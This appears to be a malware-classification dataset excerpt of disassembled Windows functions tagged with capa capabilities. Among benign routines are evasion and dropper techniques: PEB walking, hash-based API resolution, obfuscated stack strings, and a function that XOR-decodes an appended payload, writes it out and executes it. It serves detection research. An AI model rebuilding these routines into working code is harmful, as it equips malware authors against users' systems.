joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46275e
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test ebx, ebx
jge 0x46277f
mov ecx, dword [0x423f1c]
lea eax, [ebx*4 + 4]
sub ecx, eax
mov ebx, dword [ecx]
mov eax, dword [0x424778]
mov ecx, dword [ebp + 8]
add ebx, eax
mov eax, 0x4236e0
sub ecx, eax
mov edi, eax
cmp ecx, 0x800
jae 0x462939
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x462939
mov edx, edi
sub edx, eax
cmp edx, 0x400
jge 0x462946
inc ebx
cmp cl, 0xfc
jbe 0x46292c
movsx eax, byte [ebx + 1]
movsx ecx, byte [ebx]
mov esi, eax
mov edx, ecx
and esi, 0x7f
and edx, 0x7f
shl esi, 7
or esi, edx
mov edx, 0x8000
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
or ecx, edx
or eax, edx
inc ebx
mov dword [ebp - 0x10], ecx
inc ebx
cmp byte [ebp + 0xf], 0xfe
mov dword [ebp - 8], eax
jne 0x4628d7
cmp dword [0x4247c4], 0
push 2
pop esi
je 0x46280a
push 4
pop esi
lea eax, [ebp - 4]
dec esi
push eax
push dword [ebp + esi*4 - 0x14]
push dword [0x424744]
call dword [0x407168]
test eax, eax
jne 0x46283e
push edi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
push dword [ebp - 4]
mov dword [ebp + 0xc], eax
call fcn.00461f89
cmp dword [ebp + 0xc], 0
jne 0x462845
and byte [edi], 0
test esi, esi
jne 0x46280a
cmp byte [edi], 0
jne 0x4628be
mov eax, dword [ebp - 0x14]
cmp eax, 0x2b
jne 0x462869
push edi
push 0x4093b4
push str.CommonFilesDir
push 0x80000002
call fcn.00462630
jmp 0x4628b9
cmp eax, 0x26
jne 0x462895
push edi
push 0x409378
push str.CommonFilesDir
push 0x80000002
call fcn.00462630
cmp byte [edi], 0
jne 0x4628be
push 0x409364
push edi
call fcn.0046273c
jmp 0x4628b9
cmp eax, 0x25
jne 0x4628a8
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
jmp 0x4628b9
cmp eax, 0x24
jne 0x4628b9
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
cmp byte [edi], 0
je 0x4628cf
cmp dword [ebp - 0xc], 0x1a
jne 0x4628cf
push str.C:Program_Files
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
push edi
call fcn.0046295f
jmp 0x46291d
cmp byte [ebp + 0xf], 0xfd
jne 0x46290b
cmp esi, 0x1b
jne 0x4628f0
push dword [0x424744]
push edi
call fcn.0046269a
jmp 0x462901
mov eax, esi
shl eax, 0xa
add eax, 0x425000
push eax
push edi
call fcn.0046273c
add esi, 0xffffffeb
cmp esi, 6
jae 0x46291d
jmp 0x4628cf
cmp byte [ebp + 0xf], 0xff
jne 0x46291d
or eax, 0xffffffff
sub eax, esi
push eax
push edi
call fcn.0046275e
push edi
call sub.KERNEL32.dll_lstrcatA
add edi, eax
mov eax, 0x4236e0
jmp 0x462939
jne 0x462936
mov cl, byte [ebx]
mov byte [edi], cl
inc edi
inc ebx
jmp 0x462939
mov byte [edi], cl
inc edi
mov cl, byte [ebx]
test cl, cl
mov byte [ebp + 0xf], cl
jne 0x4627aa
and byte [edi], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x46295b
push eax
push dword [ebp + 8]
call fcn.0046273c
leave
ret 8
Function at 0x462a93
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232d4], 0
push esi
jne 0x462aca
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x462aa4
mov dword [ecx*4 + 0x4232d0], eax
inc ecx
cmp ecx, 0x100
jl 0x462a9f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x462afb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232d0]
xor eax, esi
inc ecx
dec edx
jne 0x462add
pop edi
not eax
pop esi
ret 0xc
Function at 0x41e0e9
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00416204
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41e121
xor eax, eax
jmp 0x41e14d
cmp esi, dword [ebp - 4]
je 0x41e14a
cmp dword [ebp + 0xc], 0
je 0x41e14a
push dword [edi + 0x9c]
call fcn.0041dcf7
push dword [edi + 0x9c]
mov esi, eax
call fcn.00411074
pop ecx
pop ecx
cmp esi, eax
je 0x41e11d
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x405430
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
nop
nop
xor ebx, ebx
nop
xor ecx, eax
nop
mov ebx, dword fs:[0x30]
nop
nop
mov ebx, dword [ebx + 0xc]
nop
nop
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
nop
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4054a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
nop
nop
nop
nop
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x18]
add ecx, esi
mov dword [ebp - 0x18], ecx
mov ecx, dword [eax + 0x20]
add ecx, esi
add edx, esi
test ebx, ebx
mov dword [ebp - 0x14], edx
jbe 0x405568
lea eax, [ecx + ebx*4]
jmp 0x4054e1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov edx, dword [eax - 4]
sub eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
lea edi, [edx + esi]
or ecx, 0xffffffff
xor eax, eax
dec ebx
mov dword [ebp - 8], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x10], ebx
je 0x405550
mov eax, dword [ebp - 8]
xor ecx, ecx
add edx, eax
mov cl, byte [edx + esi]
mov edx, dword [ebp - 4]
sub edx, ecx
mov dword [ebp - 4], edx
pushal
mov eax, dword [ebp - 4]
ror eax, 3
ror eax, 4
mov dword [ebp - 4], eax
popal
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov esi, dword [ebp - 8]
or ecx, 0xffffffff
mov edx, dword [edx]
inc esi
mov dword [ebp - 8], esi
lea edi, [edx + eax]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
mov esi, dword [ebp + 8]
jb 0x40550a
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405564
test ebx, ebx
ja 0x4054de
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test ebx, ebx
ja 0x405571
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
pop edi
mov cx, word [edx + ebx*2]
mov eax, dword [eax + ecx*4]
add eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0
call dword [0x438608]
mov edi, eax
push 0x4345b0
push 0x89
push edi
call dword [0x43868c]
mov ebp, eax
push ebp
push edi
call dword [0x438688]
mov esi, eax
push ebp
push 0
mov dword [esp + 0x24], esi
call dword [0x438684]
push esi
mov dword [esp + 0x14], eax
call dword [0x438664]
mov cl, 0x32
mov dword [esp + 0x18], eax
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], cl
mov ecx, dword [0x4386d8]
mov byte [esp + 0x22], 0x31
test ecx, ecx
mov byte [esp + 0x23], 0x38
mov byte [esp + 0x24], 0
jne 0x4061a1
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push edx
push eax
mov ecx, ebx
call fcn.004060e0
mov dl, 0x69
mov al, 0x6c
mov byte [esp + 0x39], dl
mov cl, 0x70
mov byte [esp + 0x2c], dl
mov byte [esp + 0x49], dl
mov edx, dword [0x4386d8]
mov byte [esp + 0x3d], al
mov byte [esp + 0x3e], al
mov byte [esp + 0x30], al
mov byte [esp + 0x31], al
mov byte [esp + 0x4a], al
mov eax, dword [esp + 0x54]
mov byte [esp + 0x3a], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x41], cl
mov bl, 0x6f
mov cl, 0x72
inc edx
cmp eax, 1
mov byte [esp + 0x34], 0x5c
mov byte [esp + 0x35], 0x48
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x5a
mov byte [esp + 0x3b], 0x2e
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3f], 0
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x5a
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x32], 0
mov byte [esp + 0x40], 0x25
mov byte [esp + 0x42], cl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0x67
mov byte [esp + 0x45], cl
mov byte [esp + 0x46], 0x61
mov byte [esp + 0x47], 0x6d
mov byte [esp + 0x48], 0x66
mov byte [esp + 0x4b], 0x65
mov byte [esp + 0x4c], 0x73
mov byte [esp + 0x4d], 0x25
mov byte [esp + 0x4e], 0
mov dword [0x4386d8], edx
jne 0x40629b
mov esi, 3
push 0x104
lea eax, [esp + 0x44]
push 0x4386dc
push eax
call dword [0x4386c0]
dec esi
jne 0x406274
push 0x64
call dword [0x43869c]
lea ecx, [esp + 0x34]
push ecx
jmp 0x4062bd
cmp eax, 2
jne 0x4062c8
push 0x64
call dword [0x43869c]
push 0x4386dc
push 0x104
call dword [0x43866c]
lea edx, [esp + 0x28]
push edx
push 0x4386dc
call dword [0x43867c]
push 0x4386dc
call dword [0x438680]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x4386dc
call dword [0x4386b4]
mov esi, eax
cmp esi, 0xffffffff
je 0x40633e
push 0x12c
call dword [0x43869c]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push 0
push ecx
push eax
push edx
push esi
mov dword [esp + 0x28], eax
call dword [0x4386b8]
mov eax, dword [esp + 0x1c]
push eax
call dword [0x4386ac]
push esi
call dword [0x4386ac]
push edi
call dword [0x4386ac]
push ebp
call dword [0x4386ac]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret 4
Function at 0x406850
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword [esp + 0x14], ecx
push ebx
call dword [0x438608]
mov edi, eax
push 0x4345b0
push 0x8e
push edi
call dword [0x43868c]
mov ebp, eax
push ebp
push edi
call dword [0x438688]
mov esi, eax
push ebp
push ebx
mov dword [esp + 0x28], esi
call dword [0x438684]
push esi
mov dword [esp + 0x14], eax
call dword [0x438664]
mov cl, 0x32
mov dword [esp + 0x1c], eax
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], cl
mov ecx, dword [0x438bf0]
mov byte [esp + 0x26], 0x31
cmp ecx, ebx
mov byte [esp + 0x27], 0x38
mov byte [esp + 0x28], bl
jne 0x4068d4
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push eax
call fcn.004060e0
mov dl, 0x78
mov al, 0x65
mov byte [esp + 0x42], dl
mov byte [esp + 0x35], dl
mov dl, 0x72
mov byte [esp + 0x3c], al
mov byte [esp + 0x4a], dl
mov byte [esp + 0x4d], dl
mov edx, dword [0x438bf0]
mov byte [esp + 0x41], al
mov byte [esp + 0x43], al
mov byte [esp + 0x34], al
mov byte [esp + 0x36], al
mov byte [esp + 0x53], al
mov eax, dword [esp + 0x5c]
mov cl, 0x73
inc edx
cmp eax, 1
mov byte [esp + 0x38], 0x5c
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x64
mov byte [esp + 0x3b], 0x67
mov byte [esp + 0x3d], 0x68
mov byte [esp + 0x3e], 0x6a
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x44], bl
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x2f], 0x68
mov byte [esp + 0x30], 0x30
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x2e
mov byte [esp + 0x37], bl
mov byte [esp + 0x48], 0x25
mov byte [esp + 0x49], 0x70
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x67
mov byte [esp + 0x4e], 0x61
mov byte [esp + 0x4f], 0x6d
mov byte [esp + 0x50], 0x66
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x54], cl
mov byte [esp + 0x55], 0x25
mov byte [esp + 0x56], bl
mov dword [0x438bf0], edx
jne 0x4069d5
mov esi, 3
push 0x104
lea eax, [esp + 0x4c]
push 0x438bf4
push eax
call dword [0x4386c0]
dec esi
jne 0x4069ae
push 0x64
call dword [0x43869c]
lea ecx, [esp + 0x38]
push ecx
jmp 0x4069f7
cmp eax, 2
jne 0x406a02
push 0x64
call dword [0x43869c]
push 0x438bf4
push 0x104
call dword [0x43866c]
lea edx, [esp + 0x2c]
push edx
push 0x438bf4
call dword [0x43867c]
push 0x438bf4
call dword [0x438680]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push 0x438bf4
call dword [0x4386b4]
mov esi, eax
cmp esi, 0xffffffff
je 0x406a75
push 0x12c
call dword [0x43869c]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push ebx
push ecx
push eax
push edx
push esi
mov dword [esp + 0x2c], eax
call dword [0x4386b8]
mov eax, dword [esp + 0x20]
push eax
call dword [0x4386ac]
push esi
call dword [0x4386ac]
push edi
call dword [0x4386ac]
push ebp
call dword [0x4386ac]
pop edi
pop esi
pop ebp
mov eax, 0x438bf4
pop ebx
add esp, 0x48
ret 4
Function at 0x41b3d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ecd0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41b49b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41b49b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41b44e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41b459
or bh, 8
and edi, 0x8000000
je 0x41b474
mov eax, dword [0x43c51c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41b49b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b870
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41b89b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41b8bf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41b8da
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x41ffce
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x420006
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041d575
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0041d54d
jmp 0x420012
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x421554
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x421596
call fcn.00425867
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x421596
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42158d
xor eax, eax
jmp 0x42159e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004215a4
pop edi
pop esi
pop ebx
ret 4

Function at 0x425ffe
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42602c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42604a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00425f64
jmp 0x42604a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42604a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00425f64
test edi, edi
mov eax, edi
jne 0x426034
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x4012ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4012f6
repz ret
jmp fcn.0040160f